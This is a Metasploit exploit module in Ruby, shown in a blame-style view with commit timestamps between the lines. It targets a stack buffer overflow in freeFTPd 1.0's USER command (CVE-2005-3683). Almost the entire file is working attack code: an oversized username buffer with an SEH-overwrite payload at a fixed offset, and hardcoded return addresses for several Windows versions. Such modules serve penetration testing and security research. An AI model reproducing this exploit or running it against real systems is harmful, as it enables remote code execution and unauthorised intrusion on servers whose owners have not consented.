2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-26 00:04:26 +00:00
|
|
|
require 'msf/core'
|
2005-11-24 03:48:16 +00:00
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-11-24 03:48:16 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2005-11-24 03:48:16 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'freeFTPd 1.0 Username Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the freeFTPd
|
|
|
|
multi-protocol file transfer service. This flaw can only be
|
|
|
|
exploited when logging has been enabled (non-default).
|
|
|
|
|
|
|
|
},
|
2009-09-27 21:30:45 +00:00
|
|
|
'Author' => 'MC',
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-24 03:48:16 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2005-3683'],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'OSVDB', '20909'],
|
|
|
|
[ 'BID', '15457'],
|
2005-11-24 03:48:16 +00:00
|
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 800,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'Windows 2000 English ALL',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-24 18:30:56 +00:00
|
|
|
'Ret' => 0x75022ac4,
|
2005-11-24 03:48:16 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows XP Pro SP0/SP1 English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-24 18:30:56 +00:00
|
|
|
'Ret' => 0x71aa32ad,
|
2005-11-24 03:48:16 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows NT SP5/SP6a English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-24 18:30:56 +00:00
|
|
|
'Ret' => 0x776a1799,
|
2005-11-24 03:48:16 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows 2003 Server English',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-24 18:30:56 +00:00
|
|
|
'Ret' => 0x7ffc0638,
|
2005-11-24 03:48:16 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
]))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2005-11-24 17:41:32 +00:00
|
|
|
disconnect
|
2005-11-24 03:48:16 +00:00
|
|
|
if (banner =~ /freeFTPd 1\.0/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2005-11-24 17:41:32 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2005-11-24 03:48:16 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_english(1816, payload_badchars)
|
2005-11-24 18:30:56 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
buf[1008, seh.length] = seh
|
2005-11-24 03:48:16 +00:00
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
send_cmd( ['USER', buf] , false)
|
2005-11-24 03:48:16 +00:00
|
|
|
|
|
|
|
handler
|
2006-01-08 14:27:59 +00:00
|
|
|
disconnect
|
2005-11-24 03:48:16 +00:00
|
|
|
end
|
|
|
|
|
2009-09-27 21:30:45 +00:00
|
|
|
end
|